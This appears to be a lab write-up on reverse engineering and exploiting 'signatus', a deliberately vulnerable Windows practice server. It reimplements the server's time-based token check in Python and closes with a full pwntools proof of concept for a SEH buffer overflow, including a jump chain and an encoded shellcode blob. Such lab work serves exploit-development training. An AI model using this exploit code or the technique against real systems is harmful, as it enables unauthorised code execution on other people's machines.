# Lets learn Reverse Engineer 3!

###### tags: `reverse engineering`, `windows`, `pwn`

One of the OSED student has kindly write some vulnerable server for us to practice. Below is the link and release version:

https://github.com/bmdyy/signatus

## First deobfuscation


This seems like some obfuscation but actually edi still ends up as the same value you send in **little endian**.

## Second deobfuscation

.text:60AE1397 01C or      edi, eax        ; edi still looks like the original packet
.text:60AE1399 01C call    ds:_time64

From msdn,

_time64 returns the time as seconds elapsed since midnight, January 1, 1970, or -1 in the case of an error.

To do this in python3, we just

import time
ticks = time.time()
print("Time = ", hex(int(ticks)))

Output from time64 is then sent into `sub_60AE2490`.

After more deobfuscation, my final script is

from pwn import *
import time;      # This is required to include time module.

def sub_60AE2490():
	ecx = 0xa
	eax = 0x0
	eax = eax / ecx
	ebx = eax
	eax = (int(time.time()))
	print("time = ", hex(eax))
	eax1 = eax
	eax = eax1 // ecx
	edx = eax1 % ecx
	edx = ebx
	print("ecx = ", hex(ecx))
	print("eax = ", (eax))
	return eax

#After sub_60AE2490 to 0x60AE13E3
def algo2(result):
	eax = result.to_bytes(4, byteorder='big')
	esi = eax[3]
	eax = esi
	eax = eax * esi
	ecx = eax
	ecx = ecx * esi
	edx = ecx
	ecx = ecx * esi
	edx = edx & 0xFFFFFF00
	edx = edx << 4
	edx = edx | eax
	edx = edx & 0xFFFFFFF0
	ecx = ecx & 0xFFFFF000
	ecx = (ecx << 8) & 0xffffffff
	edx = edx | ecx
	edx = (edx << 4) & 0xffffffff
	edx = edx | esi
	edx = edx ^ 0x74829726
	print("Final result = ", hex(edx))
	return edx


p = remote("192.168.106.136", 9999)
result = sub_60AE2490()
print("Result of sub_60AE2490 =" ,hex(result))
result = algo2(result)


packet1 = p32(result)
p.sendline(packet1)

p.interactive()

Finally getting the correct otd...


## Moving on..

After OTD is verified, a recv is called again which receives the opcode.

Opcode 1: It allows us to write a buffer into a log file.
Opcode 2: It allows us to read the log file.

The vuln is easy to detect. In opcode 2, a size of 0x800 buffer is allocated to read the file. However, the file can have more than 0x800, which will cause a crash.

In order to trigger a vuln, we will write 0x800 bytes into the log twice. Now the log stores 0x1000. Then we retrieve the file.

## Onward to real exploitation (hopefully)

`
009effcc: 65413465
Invalid exception stack at 41336541
`
Subsequently, its a normal nSEH overflow.

1) Detect bad characters
2) Short jump in front to skip the nSEH byte code
3) Jmp backwards into our shellcode


Hooray!

## Final POC

from pwn import *
import time;      # This is required to include time module.


buf =  b"\xCC"
buf += b"\xd9\xe5\xbb\x08\xe2\x29\xf1\xd9\x74\x24\xf4\x5d\x29"
buf += b"\xc9\xb1\x52\x83\xed\xfc\x31\x5d\x13\x03\x55\xf1\xcb"
buf += b"\x04\x99\x1d\x89\xe7\x61\xde\xee\x6e\x84\xef\x2e\x14"
buf += b"\xcd\x40\x9f\x5e\x83\x6c\x54\x32\x37\xe6\x18\x9b\x38"
buf += b"\x4f\x96\xfd\x77\x50\x8b\x3e\x16\xd2\xd6\x12\xf8\xeb"
buf += b"\x18\x67\xf9\x2c\x44\x8a\xab\xe5\x02\x39\x5b\x81\x5f"
buf += b"\x82\xd0\xd9\x4e\x82\x05\xa9\x71\xa3\x98\xa1\x2b\x63"
buf += b"\x1b\x65\x40\x2a\x03\x6a\x6d\xe4\xb8\x58\x19\xf7\x68"
buf += b"\x91\xe2\x54\x55\x1d\x11\xa4\x92\x9a\xca\xd3\xea\xd8"
buf += b"\x77\xe4\x29\xa2\xa3\x61\xa9\x04\x27\xd1\x15\xb4\xe4"
buf += b"\x84\xde\xba\x41\xc2\xb8\xde\x54\x07\xb3\xdb\xdd\xa6"
buf += b"\x13\x6a\xa5\x8c\xb7\x36\x7d\xac\xee\x92\xd0\xd1\xf0"
buf += b"\x7c\x8c\x77\x7b\x90\xd9\x05\x26\xfd\x2e\x24\xd8\xfd"
buf += b"\x38\x3f\xab\xcf\xe7\xeb\x23\x7c\x6f\x32\xb4\x83\x5a"
buf += b"\x82\x2a\x7a\x65\xf3\x63\xb9\x31\xa3\x1b\x68\x3a\x28"
buf += b"\xdb\x95\xef\xff\x8b\x39\x40\x40\x7b\xfa\x30\x28\x91"
buf += b"\xf5\x6f\x48\x9a\xdf\x07\xe3\x61\x88\xe7\x5c\x03\xe0"
buf += b"\x80\x9e\xd3\xf1\xeb\x16\x35\x9b\x1b\x7f\xee\x34\x85"
buf += b"\xda\x64\xa4\x4a\xf1\x01\xe6\xc1\xf6\xf6\xa9\x21\x72"
buf += b"\xe4\x5e\xc2\xc9\x56\xc8\xdd\xe7\xfe\x96\x4c\x6c\xfe"
buf += b"\xd1\x6c\x3b\xa9\xb6\x43\x32\x3f\x2b\xfd\xec\x5d\xb6"
buf += b"\x9b\xd7\xe5\x6d\x58\xd9\xe4\xe0\xe4\xfd\xf6\x3c\xe4"
buf += b"\xb9\xa2\x90\xb3\x17\x1c\x57\x6a\xd6\xf6\x01\xc1\xb0"
buf += b"\x9e\xd4\x29\x03\xd8\xd8\x67\xf5\x04\x68\xde\x40\x3b"
buf += b"\x45\xb6\x44\x44\xbb\x26\xaa\x9f\x7f\x56\xe1\xbd\xd6"
buf += b"\xff\xac\x54\x6b\x62\x4f\x83\xa8\x9b\xcc\x21\x51\x58"
buf += b"\xcc\x40\x54\x24\x4a\xb9\x24\x35\x3f\xbd\x9b\x36\x6a"



def sub_60AE2490():
	ecx = 0xa
	eax = 0x0
	eax = eax / ecx
	ebx = eax
	eax = (int(time.time()))
	print("time = ", hex(eax))
	eax1 = eax
	eax = eax1 // ecx
	edx = eax1 % ecx
	edx = ebx
	print("ecx = ", hex(ecx))
	print("eax = ", (eax))
	return eax

#After sub_60AE2490 to 0x60AE13E3
def algo2(result):
	eax = result.to_bytes(4, byteorder='big')
	esi = eax[3]
	eax = esi
	eax = eax * esi
	ecx = eax
	ecx = ecx * esi
	edx = ecx
	ecx = ecx * esi
	edx = edx & 0xFFFFFF00
	edx = edx << 4
	edx = edx | eax
	edx = edx & 0xFFFFFFF0
	ecx = ecx & 0xFFFFF000
	ecx = (ecx << 8) & 0xffffffff
	edx = edx | ecx
	edx = (edx << 4) & 0xffffffff
	edx = edx | esi
	edx = edx ^ 0x74829726
	print("Final result = ", hex(edx))
	return edx


p = remote("192.168.106.181", 9999)
result = sub_60AE2490()
print("Result of sub_60AE2490 =" ,hex(result))
result = algo2(result)
OTDToken = p32(result)
p.send(OTDToken)

### Opcode
PutBufferOpcode = p32(0x1)
RetrieveOpcode = p32(0x2)
CleanOpcode = p32(0x3)


################ Clean logs first ################
choice = CleanOpcode
p.send(choice)

if(choice == p32(0x1)):
	print("sending buffer")
	bufferFile = b"\x41" * 0x5000
	p.send(bufferFile)

p.close()

################ Send buffer ################
p = remote("192.168.106.181", 9999)
result = sub_60AE2490()
print("Result of sub_60AE2490 =" ,hex(result))
result = algo2(result)
OTDToken = p32(result)
p.send(OTDToken)

### Opcode
PutBufferOpcode = p32(0x1)
RetrieveOpcode = p32(0x2)
CleanOpcode = p32(0x3)


## Clean logs first
choice = PutBufferOpcode
p.send(choice)

if(choice == p32(0x1)):
	print("sending buffer")
	bufferFile = b"\x42" * (0x7FF - len(buf))
	bufferFile += buf
	p.send(bufferFile)

p.close()

################ Send buffer ################
p = remote("192.168.106.181", 9999)
result = sub_60AE2490()
print("Result of sub_60AE2490 =" ,hex(result))
result = algo2(result)
OTDToken = p32(result)
p.send(OTDToken)

### Opcode
PutBufferOpcode = p32(0x1)
RetrieveOpcode = p32(0x2)
CleanOpcode = p32(0x3)


## Clean logs first
choice = PutBufferOpcode
p.send(choice)

length = 0x7FF
if(choice == p32(0x1)):
	print("sending buffer")
	#bufferFile = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq'
	bufferFile = b'\xCC' * 129
	bufferFile += p32(0xCC90eb06, endian='big')	#0xCC, nop, jmp short 0x6
	bufferFile += p32(0x60ae1bbc)	#RIP Control (pop, pop ret)
	bufferFile += b"\x90" * 0x10
	bufferFile += b'\xe9\xfc\xfa\xff\xff'	#jmp -0x500
	bufferFile += b"\x41" * (length - len(bufferFile))
	p.send(bufferFile)

p.close()

################ Retrieve file & crash ################
p = remote("192.168.106.181", 9999)
result = sub_60AE2490()
print("Result of sub_60AE2490 =" ,hex(result))
result = algo2(result)
OTDToken = p32(result)
p.send(OTDToken)

### Opcode
PutBufferOpcode = p32(0x1)
RetrieveOpcode = p32(0x2)
CleanOpcode = p32(0x3)


## Clean logs first
choice = RetrieveOpcode
p.send(choice)

if(choice == p32(0x1)):
	print("sending buffer")
	bufferFile = b"\x42" * 0x7FF
	p.send(bufferFile)

p.interactive()